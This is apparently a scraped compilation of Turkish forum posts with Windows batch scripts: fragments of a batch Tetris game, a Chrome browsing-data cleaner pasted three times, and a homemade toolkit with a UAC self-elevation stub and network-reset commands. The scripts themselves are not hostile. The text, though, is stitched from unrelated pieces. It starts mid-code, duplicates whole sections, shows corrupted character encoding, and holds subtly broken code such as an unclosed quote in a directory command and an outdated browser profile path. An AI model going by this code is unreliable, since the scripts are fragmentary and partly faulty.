For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=3","RotateLevel=%R%"
Goto :Eof

:Figure4
Set Figure4_Pos1=X6Y1,X7Y1,X8Y1
Set Figure4_Pos2=X7Y2,X7Y1,X7Y0
Set Figure4_Pos3=X6Y1,X7Y1,X8Y1
Set Figure4_Pos4=X7Y2,X7Y1,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure4_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=4","RotateLevel=%R%"
Goto :Eof

:Figure5
Set Figure5_Pos1=X6Y1,X7Y1,X8Y1,X7Y0
Set Figure5_Pos2=X7Y2,X7Y1,X8Y1,X7Y0
Set Figure5_Pos3=X7Y1,X6Y0,X7Y0,X8Y0
Set Figure5_Pos4=X8Y2,X7Y1,X8Y1,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure5_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=5","RotateLevel=%R%"
Goto :Eof

:Figure6
Set Figure6_Pos1=X6Y0,X7Y0,X8Y0,X6Y1
Set Figure6_Pos2=X7Y0,X8Y2,X8Y1,X8Y0
Set Figure6_Pos3=X6Y1,X7Y1,X8Y1,X8Y0
Set Figure6_Pos4=X6Y2,X7Y2,X6Y1,X6Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure6_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=6","RotateLevel=%R%"
title Fig:6 Pos:%R%
Goto :Eof

:Figure7
Set Figure7_Pos1=X8Y1,X6Y0,X7Y0,X8Y0
Set Figure7_Pos2=X7Y2,X8Y2,X8Y1,X8Y0
Set Figure7_Pos3=X6Y1,X7Y1,X8Y1,X6Y0
Set Figure7_Pos4=X6Y2,X6Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure7_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=7","RotateLevel=%R%"
Goto :Eof

::_0 xx9tYjYxWvxPrXmoLjqfzpxxx
::_0 xxxxxXhXxLBINRPFGBaxxxxxx
::_0 xxxxxxxxxxxxxxxxxxxxxxxxx
::_0 xxxxx8jYfZXojYxOtxJvxxxxx
::_0 EjXzofizgxLfmgimfjqYx9GVJ
::_0 xxxJvx8XmgfqlxNxGtyjxRxxx
::_0 xxxxxxxxxxxxxxxxxxxxxxxxx
::_0 xxxLmjjopxotx9Xmgtpxxxxxx
::_0 xPrXmoLjqfzpx9tms-x7545xx

:Help
Cls
Echo.
Call :L2 "Goto :Eof"
Echo.
Echo. How to Play Batch Tetris ?
Echo.
Echo. Use arrow keys, space and X
Echo.
Echo. Left = Move Shape Left
Echo. Down = Move Shape Down
Echo. Right = Move Shape Rigth
Echo. Space = Rotate Shape
Echo. X = Back to Menu Game
Echo.
Echo. 
Pause >nul
Goto :Menu

:Logo
Cls
Color 0b
Echo.
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
:L2
Echo. °°ÛÛÛ°ÛÛÛ°ÛÛÛ°ÛÛ°°Û°°ÛÛ°°°
Echo. °°°Û°°Û°°°°Û°°Û°Û°Û°Û°°°°°
Echo. °°°Û°°ÛÛÛ°°Û°°ÛÛ°°Û°°Û°°°°
Echo. °°°Û°°Û°°°°Û°°Û°Û°Û°°°Û°°°
Echo. °°°Û°°ÛÛÛ°°Û°°Û°Û°Û°ÛÛ°°°°
%~1
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°±°°°°°°°°°²°°°°°°°°°°±°°
Echo. °°±°²°°°²²°°²²°°°²²²°°°±°°
Echo. °°±°²²°°°²°°²°°°°°°°°°°±°°
Echo. °°±°°²°°°²°°°°°°²²°°°°°±°°
Echo. °°±°°°°°°°°°°°°°°²²°°°°±°°
Echo. °°±°°°°°°°°²°°°°°°°°°°°±°°
Echo. °°±²°°°°°°°²²²°°°°°°°°°±°°
Echo. °°±²°°²²°°°°°°°²°°°°°°²±°°
Echo. °°±²°°²²°°°°°°²²²°°°²²²±°°
Echo. °°±±±±±±±±±±±±±±±±±±±±±±°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°: SmartGenius :°°°°°°
Echo. °°°°°  Corp.  2010  °°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Ping -n 3 0.0.0.0 >nul
Goto :Eof


WantedKankam 2019
---------------------------------


Link :

https://forum.shiftdelete.net/threads/bat-dosyalari-ile-harikalar-yaratmak.521822/

Bu arada şunu da salayım dursun köşede. Google Chrome Tarama Verileriniz Temizleme Aracı :) Biliyorum ismi çok uzun.
Kod:
@echo off
MODE 85,6
title Google Chrome Temizleme Arac
echo Ltfen bekleyin...

tasklist /FI "IMAGENAME eq chrome.exe" 2>NUL | find /I /N "chrome.exe">NUL
if %ERRORLEVEL% EQU 0 goto choice
if %errorlevel% neq 0 goto clean

:clean
cd %homepath%\Local Settings\Application Data\Google\Chrome\User Data\Default
del archiv~1 > nul 2>&1
del archiv~2 > nul 2>&1
del curren~1 > nul 2>&1
del curren~2 > nul 2>&1
del history > nul 2>&1
del histor~1 > nul 2>&1
del histor~2 > nul 2>&1
del histor~3 > nul 2>&1
del histor~4 > nul 2>&1
del lastse~1 > nul 2>&1
del lastta~1 > nul 2>&1
del topsit~1 > nul 2>&1
del topsit~2 > nul 2>&1
del visite~1 > nul 2>&1
rd /s /q Cache > nul 2>&1
rd /s /q "Media Cache" > nul 2>&1
rd /s /q "Local Storage" > nul 2>&1
rd /s /q GPUCache > nul 2>&1
md Cache
md "Media Cache"
md "Local Storage"
md "GPUCache
del /s /q "Web Data" > nul 2>&1
del /s /q "Web Data-journal" > nul 2>&1
del /s /q "Cookies" > nul 2>&1
del /s /q "Cookies-journal" > nul 2>&1
del /s /q "Favicons" > nul 2>&1
del /s /q "Favicons-journal" > nul 2>&1
echo.
echo Google Chrome temizlendi. Bu pencereyi kapatmak i‡in herhangi bir tuŸa basn...
pause > nul
exit

:choice
echo.
CHOICE /C EH /M "Google Chrome, Ÿu anda ‡alŸyor. Program Ÿimdi sonlandrmak ister misiniz? "
if %errorlevel% equ 1 goto kill
if %errorlevel% equ 2 goto :eof

:kill
taskkill /im chrome.exe /f > nul 2>&1
PING localhost -n 2 >NUL
goto clean
Şahsen artık CCleaner kullanmıyorum ve çok işime yarıyor.

Küçük bir not: Çalıştıracağınız Batch dosyası C: diskinde olsun. Yoksa program sapıtıyor.
---------------------------------------
Google Chrome Tarama Verileriniz Temizleme Aracı
Kod:
@echo off
MODE 85,6
title Google Chrome Temizleme Arac
echo Ltfen bekleyin...

tasklist /FI "IMAGENAME eq chrome.exe" 2>NUL | find /I /N "chrome.exe">NUL
if %ERRORLEVEL% EQU 0 goto choice
if %errorlevel% neq 0 goto clean

:clean
cd %homepath%\Local Settings\Application Data\Google\Chrome\User Data\Default
del archiv~1 > nul 2>&1
del archiv~2 > nul 2>&1
del curren~1 > nul 2>&1
del curren~2 > nul 2>&1
del history > nul 2>&1
del histor~1 > nul 2>&1
del histor~2 > nul 2>&1
del histor~3 > nul 2>&1
del histor~4 > nul 2>&1
del lastse~1 > nul 2>&1
del lastta~1 > nul 2>&1
del topsit~1 > nul 2>&1
del topsit~2 > nul 2>&1
del visite~1 > nul 2>&1
rd /s /q Cache > nul 2>&1
rd /s /q "Media Cache" > nul 2>&1
rd /s /q "Local Storage" > nul 2>&1
rd /s /q GPUCache > nul 2>&1
md Cache
md "Media Cache"
md "Local Storage"
md "GPUCache
del /s /q "Web Data" > nul 2>&1
del /s /q "Web Data-journal" > nul 2>&1
del /s /q "Cookies" > nul 2>&1
del /s /q "Cookies-journal" > nul 2>&1
del /s /q "Favicons" > nul 2>&1
del /s /q "Favicons-journal" > nul 2>&1
echo.
echo Google Chrome temizlendi. Bu pencereyi kapatmak i‡in herhangi bir tuŸa basn...
pause > nul
exit

:choice
echo.
CHOICE /C EH /M "Google Chrome, Ÿu anda ‡alŸyor. Program Ÿimdi sonlandrmak ister misiniz? "
if %errorlevel% equ 1 goto kill
if %errorlevel% equ 2 goto :eof

:kill
taskkill /im chrome.exe /f > nul 2>&1
PING localhost -n 2 >NUL
goto clean
Şahsen artık CCleaner kullanmıyorum ve çok işime yarıyor.

Küçük bir not: Çalıştıracağınız Batch dosyası C: diskinde olsun. Yoksa program sapıtıyor.
-------------------------------------

Google Chrome Temizleme Aracı bat

Mesaj 06 Şub 2018, 22:09

Merhabalar
@echo off
title Google Chrome Temizleme Araci
echo Lütfen bekleyiniz...

tasklist /FI "IMAGENAME eq chrome.exe" 2>NUL | find /I /N "chrome.exe">NUL
if %ERRORLEVEL% EQU 0 goto choice
if %errorlevel% neq 0 goto clean

:clean
cd %homepath%\Local Settings\Application Data\Google\Chrome\User Data\Default
del archiv~1 > nul 2>&1
del archiv~2 > nul 2>&1
del curren~1 > nul 2>&1
del curren~2 > nul 2>&1
del history > nul 2>&1
del histor~1 > nul 2>&1
del histor~2 > nul 2>&1
del histor~3 > nul 2>&1
del histor~4 > nul 2>&1
del lastse~1 > nul 2>&1
del lastta~1 > nul 2>&1
del topsit~1 > nul 2>&1
del topsit~2 > nul 2>&1
del visite~1 > nul 2>&1
rd /s /q Cache > nul 2>&1
rd /s /q "Media Cache" > nul 2>&1
rd /s /q "Local Storage" > nul 2>&1
rd /s /q GPUCache > nul 2>&1
md Cache
md "Media Cache"
md "Local Storage"
md "GPUCache
del /s /q "Web Data" > nul 2>&1
del /s /q "Web Data-journal" > nul 2>&1
del /s /q "Cookies" > nul 2>&1
del /s /q "Cookies-journal" > nul 2>&1
del /s /q "Favicons" > nul 2>&1
del /s /q "Favicons-journal" > nul 2>&1
echo.
echo Google Chrome temizlendi. Bu pencereyi kapatmak icin herhangi bir tusa basiniz...
pause > nul
exit

:choice
echo.
CHOICE /C EH /M "Google Chrome, Su anda aktif. Program Simdi sonlandirmak ister misiniz? "
if %errorlevel% equ 1 goto kill
if %errorlevel% equ 2 goto :eof

:kill
taskkill /im chrome.exe /f > nul 2>&1
PING localhost -n 2 >NUL
goto clean
İyi Kullanımlar......

Kaynak Site:http://www.instructables.com/member/Batchcc/

 https://forum.sordum.net/viewtopic.php?t=205957

 https://ss64.org/viewforum.php?id=2
-------------------------------------
BAT KODU :
-------------------------------



Şunu da bizzat ben yaptım.

Ekran Alıntısı.PNG

Kod:
@echo off

:: BatchGotAdmin
:-------------------------------------
REM  --> Check for permissions
    IF "%PROCESSOR_ARCHITECTURE%" EQU "amd64" (
>nul 2>&1 "%SYSTEMROOT%\SysWOW64\cacls.exe" "%SYSTEMROOT%\SysWOW64\config\system"
) ELSE (
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
)

REM --> If error flag set, we do not have admin.
if '%errorlevel%' NEQ '0' (
    echo Requesting administrative privileges...
    goto UACPrompt
) else ( goto gotAdmin )

:UACPrompt
    echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
    set params = %*:"=""
    echo UAC.ShellExecute "cmd.exe", "/c ""%~s0"" %params%", "", "runas", 1 >> "%temp%\getadmin.vbs"

    "%temp%\getadmin.vbs"
    del "%temp%\getadmin.vbs"
    exit /B

:gotAdmin
    pushd "%CD%"
    CD /D "%~dp0"
:--------------------------------------

:menu
cls
For /f "tokens=2-4 delims=/ " %%a in ('date /t') do (set mydate=%%c%%a%%b)
For /f "tokens=1-2 delims=/:" %%a in ("%TIME%") do (set mytime=%%a:%%b)
title Komut ˜stemi Ara‡lar
echo --------------------------------------------------------------------------------
echo Komut ˜stemi Ara‡lar                                         %mydate% - %mytime%
echo --------------------------------------------------------------------------------
echo.
echo Bir ara‡ se‡in
echo ==============
echo.
echo  [0] €kŸ
echo  [1] Hakknda
echo  [2] A§ Sorun Gidericisi
echo  [3] €alŸan ˜Ÿlemler ve Hizmetler Listesi
echo  [4] Bitlocker Src Kilitleme
echo  [5] Windows Update Temizleme
echo  [6] Windows Update Hizmetini Durdur/BaŸlat
echo  [7] Gereksiz Nvidia Dosyalarn Temizle
echo  [8] IP Adresi ve A§ Yaplandrmas Bilgileri
echo  [9] Ykl Srcler Listesi
echo [10] Yant Vermeyen Bir Uygulamay Sonlandr
echo [11] Sistem Bilgisi
echo [12] Yazdrma Kuyru§unu Temizle
echo [13] Windows 10 i‡in Veri Toplama ve Telemetri Hizmetleri Ayarlar
echo.
set /p "op=€alŸtr:"
if %op%==-1 goto -1
if %op%==0 exit > nul 2>&1
if %op%==1 goto 1
if %op%==2 goto 2
if %op%==3 goto 3
if %op%==4 goto 4
if %op%==5 goto 5
if %op%==6 goto 6
if %op%==7 goto 7
if %op%==8 goto 8
if %op%==9 goto 9
if %op%==10 goto 10
if %op%==11 goto 11
if %op%==12 goto 12
if %op%==13 goto 13
cls
goto menu

:-1
@title Tetris v 1
@mode con cols=28 lines=24

:: Batch Game - Tetris v 1
:: Proof Of Concept
:: Coded by SmartGenius
:: SmartGenius, Corp. 2010

Choice /N /T:Y,1 >Nul 2>&1
If "%Errorlevel%"=="9009" (Echo. CHOICE command not found&Pause&Exit)

Set "Game=%0"

Call :Logo

:Easteregg
Cls
Echo.
Echo.
Echo. Tetris v 1 by SmartGenius
Echo. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³1.³ ³Play TETRIS ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³2.³ ³How to Play ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³3.³ ³Exit Game   ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo.
CHOICE /C:123 /N >nul
If "%errorlevel%"=="1" (Goto :Load)
If "%errorlevel%"=="2" (Goto :Help)
If "%errorlevel%"=="3" (Goto :End)
Goto :Easteregg

:Load
Setlocal enabledelayedexpansion
Set /a "LimX=18","LimY=16","TBound=1","LBound=0","Turn=1","Points=0"
Set /a "RBound=%LimX%","BBound=%LimY%"

:Init
For /l %%a in (0,1,%LimX%) do (
For /l %%b in (0,1,%LimY%) do (
Set "X%%aY%%b= "))
Set "Bound=Û"
Set "Bound2=²"

:Main
Set /a "L=(%Random% %% 7)+1"
Call :Figure%L%
Call :Graphic
Goto :Main

:Graphic
If "%New_F%"=="True" (
Call :Solid
Set "New_F=False"
Goto :Eof
)
Call :Clear
Cls
Echo.
Echo.  Tetris v 1 by SmartGenius
Echo.
Echo.   Points:%Points%
Echo.   ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
For /l %%f in (0,1,%LimY%) do (Echo.   º!Lin_%%f!º)
Echo.   ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Call :Move
Goto :Graphic

:Move
:: Normal CHOICE (provided into ZIP package)
CHOICE /C:SADRXC /N >nul
:: Windows 7 or x64 system CHOICE (uncomment)
REM CHOICE /C SADRXC /N
If "%errorlevel%"=="1" (Call :Down)
If "%errorlevel%"=="2" (Call :Left)
If "%errorlevel%"=="3" (Call :Rigth)
If "%errorlevel%"=="4" (Call :Rotate)
If "%errorlevel%"=="5" (Goto :Easteregg)
If "%errorlevel%"=="6" (Call :MovCR)
::You can not move in 2 different directions at the same time.
REM Call :Down
Call :CheckL2
Goto :Eof

::::::::::::::::::::::::::::::::::::::::
:Solid
For %%a in (%Table%) do (Set "%%a=%Bound2%")
Goto :Eof

:Rotate
Set "TmpTB="
If "%XToken%"=="11" (Set "XToken=10")
If "%YToken%"=="15" (Set "XToken=14")
Set /a "NextRotate=(%RotateLevel% %% 4)+1"
Set "TmpTable=!Figure%CurFig%_Pos%NextRotate%!
For %%R in (%TmpTable%) do (
Call :MovR "%YToken%" "%XToken%" "%%R" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
For %%a in (%Table%) do (Set "%%a= ")
Set "Table=%TmpTB:~1%"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "RotateLevel+=1"
Goto :Eof

:MovR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~3") do (
Set /a MovY=%%q+%~1
Set /a MovX=%%p+%~2
Set "%~4=X!MovX!Y!MovY!"
Set "%~3= ")
Goto :Eof

:::::::::::::::::::::::::::::::::::::::::::
:Down
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "Y%BBound%">nul
If !Errorlevel! EQU 0 (Set "New_F=True"&Goto :Eof)
Call :MovYR "1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
Set "New_F=True"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "YToken+=1"
Goto :Eof

:MovYR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovY=%%q+%~1
Set "%~3=X%%pY!MovY!"
Set "%~2= ")
Goto :Eof

:MovCR
Cls
Echo.
Echo.
Call :L2 "Goto :Eof"
Echo.
For /f "tokens=2 skip=3" %%c in ('find "::_0" %Game%') do (
Set "Tmp_Var=%%c"
Call :Key.A Tmp_Var
Echo. !Tmp_Var!
)
Pause >nul
Goto :Eof
::::::::::::::::::::::::::::::::::::::::

::::::::::::::::::::::::::::::::::::::::
:Rigth
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%RBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "+1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken+=1"
Goto :Eof

:Left
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!|Find "X%LBound%">nul
If !Errorlevel! EQU 0 (Goto :Eof)
Call :MovXR "-1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "XToken-=1"
Goto :Eof

:MovXR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovX=%%p%~1
Set "%~3=X!MovX!Y%%q"
Set "%~2= ")
Goto :Eof

::::::::::::::::::::::::::::::::::::::::

:CheckL2
If "!Lin_1!"=="²²²²²²²²²²²²²²²²²²²" (Goto :Lost)
If "!Lin_%LimY%!"=="²²²²²²²²²²²²²²²²²²²" (
Call :Clear
For /l %%x in (0,1,%LimX%) do (
For /l %%y in (%LimY%,-1,1) do (
Set /a "UpLine=%%y-1"
Call Set "X%%xY%%y=%%X%%xY!UpLine!%%"
))
Set /a "Points+=100"
For /l %%d in (0,1,%LimX%) do (Set "X%%dY0= ")
Goto :CheckL2
)
Goto :Eof

:::::::::::::::::::::::::::::::::::::::::

:Key.A
If not defined %1 Goto:Eof
Set "c="
Set "d=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz =/\()[]{}_-.:,;* @#"
:Key.B
Set "chr=!%1:~,1!"
For /l %%l in (0 1 80) do if "!chr!" equ "!d:~%%l,1!" (
  set /a "x=%%l^5"
  call set "c=!c!%%d:~!x!,1%%"
)
Set "%1=!%1:~1!"
If defined %1 goto:Key.B
Set "%1=!c!"
Goto :Eof
:::::::::::::::::::::::::::::::::::::::::

:Clear
For /l %%m in (0,1,%LimY%) do (Set Lin_%%m=)
For /l %%d in (0,1,%LimY%) do (
For /l %%e in (0,1,%LimX%) do (
Set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
Goto :Eof

:Lost
Cls
Echo.
Echo.  Tetris v 1 by SmartGenius
Echo.
Echo.     Points:%Points%
Echo.        You lose!
Goto :End

:Win
Cls
Echo.
Echo.  Tetris v 1 by SmartGenius
Echo.
Echo.     Points:%Points%
Echo.         You win!  
Goto :End

:End
Echo.    Thanks for playing.
Echo.  Tetris v1 by SmartGenius
Endlocal
Ping -n 3 localhost >nul
Exit

::::::::::::::::::::::::::::::::::::::::::
:Figure1
Set Figure1_Pos1=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos2=X7Y1,X8Y1,X6Y0,X7Y0
Set Figure1_Pos3=X6Y2,X6Y1,X7Y1,X7Y0
Set Figure1_Pos4=X7Y1,X8Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure1_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=1","RotateLevel=%R%"
Goto :Eof

:Figure2
Set Figure2_Pos1=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos2=X6Y1,X7Y1,X7Y0,X8Y0
Set Figure2_Pos3=X7Y2,X6Y1,X7Y1,X6Y0
Set Figure2_Pos4=X6Y1,X7Y1,X7Y0,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure2_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=2","RotateLevel=%R%"
Goto :Eof

:Figure3
Set Figure3_Pos1=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos2=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos3=X7Y1,X8Y1,X7Y0,X8Y0
Set Figure3_Pos4=X7Y1,X8Y1,X7Y0,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set "Table=!Figure3_Pos%R%!"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=3","RotateLevel=%R%"
Goto :Eof

:Figure4
Set Figure4_Pos1=X6Y1,X7Y1,X8Y1
Set Figure4_Pos2=X7Y2,X7Y1,X7Y0
Set Figure4_Pos3=X6Y1,X7Y1,X8Y1
Set Figure4_Pos4=X7Y2,X7Y1,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure4_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=4","RotateLevel=%R%"
Goto :Eof

:Figure5
Set Figure5_Pos1=X6Y1,X7Y1,X8Y1,X7Y0
Set Figure5_Pos2=X7Y2,X7Y1,X8Y1,X7Y0
Set Figure5_Pos3=X7Y1,X6Y0,X7Y0,X8Y0
Set Figure5_Pos4=X8Y2,X7Y1,X8Y1,X8Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure5_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=5","RotateLevel=%R%"
Goto :Eof

:Figure6
Set Figure6_Pos1=X6Y1,X6Y0,X7Y0,X8Y0
Set Figure6_Pos2=X8Y2,X8Y1,X8Y0,X7Y0
Set Figure6_Pos3=X6Y1,X7Y1,X8Y1,X8Y0
Set Figure6_Pos4=X6Y2,X7Y2,X6Y1,X6Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure6_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=6","RotateLevel=%R%"
Goto :Eof

:Figure7
Set Figure7_Pos1=X8Y1,X6Y0,X7Y0,X8Y0
Set Figure7_Pos2=X7Y2,X8Y2,X8Y1,X8Y0
Set Figure7_Pos3=X6Y1,X7Y1,X8Y1,X6Y0
Set Figure7_Pos4=X6Y2,X6Y1,X6Y0,X7Y0
Set /a "R=(%Random% %% 4)+1"
Set Table=!Figure7_Pos%R%!
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "XToken=0","YToken=0","CurFig=7","RotateLevel=%R%"
Goto :Eof

::_0 xx9tYjYxWvxPrXmoLjqfzpxx
::_0 xxxxxXhXxLBINRPFGBaxxxxxx
::_0 xxxxxxxxxxxxxxxxxxxxxxxxx
::_0 xPrXmoLjqfzpx9tms-x7545xxx

:Help
Cls
Echo.
Call :L2 "Goto :Eof"
Echo.
Echo. How to Play Batch Tetris ?
Echo.
Echo. Use keys A,S,D,R,X
Echo.
Echo. A = Move Shape Left
Echo. S = Move Shape Down
Echo. D = Move Shape Rigth
Echo. R = Rotate Shape
Echo. X = Back to Menu Game
Echo.
Echo.
Pause >nul
Goto :Easteregg

:Logo
Cls
Color 0b
Echo.
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
:L2
Echo. °°ÛÛÛ°ÛÛÛ°ÛÛÛ°ÛÛ°°Û°°ÛÛ°°°
Echo. °°°Û°°Û°°°°Û°°Û°Û°Û°Û°°°°°
Echo. °°°Û°°ÛÛÛ°°Û°°ÛÛ°°Û°°Û°°°°
Echo. °°°Û°°Û°°°°Û°°Û°Û°Û°°°Û°°°
Echo. °°°Û°°ÛÛÛ°°Û°°Û°Û°Û°ÛÛ°°°°
%~1
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°±°°°°°°°°°²°°°°°°°°°°±°°
Echo. °°±°²°°°²²°°²²°°°²²²°°°±°°
Echo. °°±°²²°°°²°°²°°°°°°°°°°±°°
Echo. °°±°°²°°°²°°°°°°²²°°°°°±°°
Echo. °°±°°°°°°°°°°°°°°²²°°°°±°°
Echo. °°±°°°°°°°°²°°°°°°°°°°°±°°
Echo. °°±²°°°°°°°²²²°°°°°°°°°±°°
Echo. °°±²°°²²°°°°°°°²°°°°°°²±°°
Echo. °°±²°°²²°°°°°°²²²°°°²²²±°°
Echo. °°±±±±±±±±±±±±±±±±±±±±±±°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Echo. °°°°°: SmartGenius :°°°°°°
Echo. °°°°°  Corp.  2010  °°°°°°
Echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
Ping -n 3 0.0.0.0 >nul
Goto :Eof


:1
cls
echo Gizli ”zelli§i g”rmek i‡in ana mendeyken -1 yazn.
echo.
echo                          -:///:-                
echo                         ./oNNmy/:                
echo                         ./oNNNmy/-              
echo                         ./oNNNmm+/.              
echo                         -/sNNNmmy/-              
echo                        -/sNNNmmms/.              
echo                       -/yNNNmmmm+/              
echo                     `:/dNNNmmmmh/:.............  
echo                    ./omNNNNNNNNyoooooooooooooo+/-
echo .-----------------:/yNNNNNNNNNNNNNNNNNNNNmmmmmmy/-
echo //+++++++++++++//ohNNNNNNNNNNNNNNNNNNNNNNmmmmmmo/.
echo :/ooooooooooooo//mNNNNNNNNNNNNNNNNNNNNNNmmmmmh//`
echo -/ooooooooooooo//mNNNNNNNNNNNNNNNNNNNNNNmmmmmmo/`
echo -/+oooooooooooo//mNNNNNNNNNNNNNNNNNNNNNmmmmmho/-
echo ./+oooooooooooo//mNNNNNNNNNNNNNNNNNNNNNmmmmmy/:  
echo `/+oooooooooooo//mNNNNNNNNNNNNNNNNNNNNNmmmmmy/-  
echo  //oooooooooooo//mNNNNNNNNNNNNNNNNNNNNmmmmh+/-  
echo  //ooooooooysoo//mNNNNNNNNNNNNNNNNNNNNmmmmmo/.  
echo  :/ooooooodmmoo//syhNNNNNNNNNNNNNNNNNmmmmmy/:    
echo  -/+ooooooooooo///::/++++++++++++++++++++/:.    
echo  `::::::::::::::::`  ````````````````````        
echo.
echo Komut ˜stemi Ara‡lar
echo.
echo Basit ve kullanŸl kodlar bir araya getiren bir yazlm. Telif hakk bulunmamaktadr.
echo.
echo Srm Notlar
echo.
echo v0.3.2
echo -5 yeni ara‡ eklendi.
echo -Se‡im ekranlarnda de§iŸiklik yapld.
echo -Saat ve tarih eklendi.
echo -K‡k hata dzeltmeleri yapld.
echo.
echo v0.1.8.tx
echo -Srpriz bir ”zellik eklendi. [˜yi bakn, bulacaksnz :) ]
echo -A§ yaplandrmasn ve IP adresini g”steren bir ara‡ eklendi.
echo -K‡k hata dzeltmeleri yapld.
echo.
echo v0.1.4
echo -Yazlmn ismi de§iŸtirildi.
echo.
echo v0.1.3
echo -Gereksiz Nvidia dosyalarn temizleme arac eklendi.
echo -K‡k hata dzeltmeleri yapld.
echo.
echo v0.1
echo -Yazlmn ilk srm yaynland.

goto choice

:2
cls
echo --------------------------------------------------------------------------------
echo.
echo Uyar: Bu iŸlem baz a§ ayarlarn ve ”nbelleklerini sfrlayacaktr.
echo.
CHOICE /C EH /M "Devam etmek istiyor musunuz"
IF ERRORLEVEL 2 goto menu
echo.
echo --------------------------------------------------------------------------------
echo.
netsh int ip reset reset.txt
netsh winsock reset
netsh advfirewall reset
netsh winhttp reset proxy
route -f
ipconfig /release
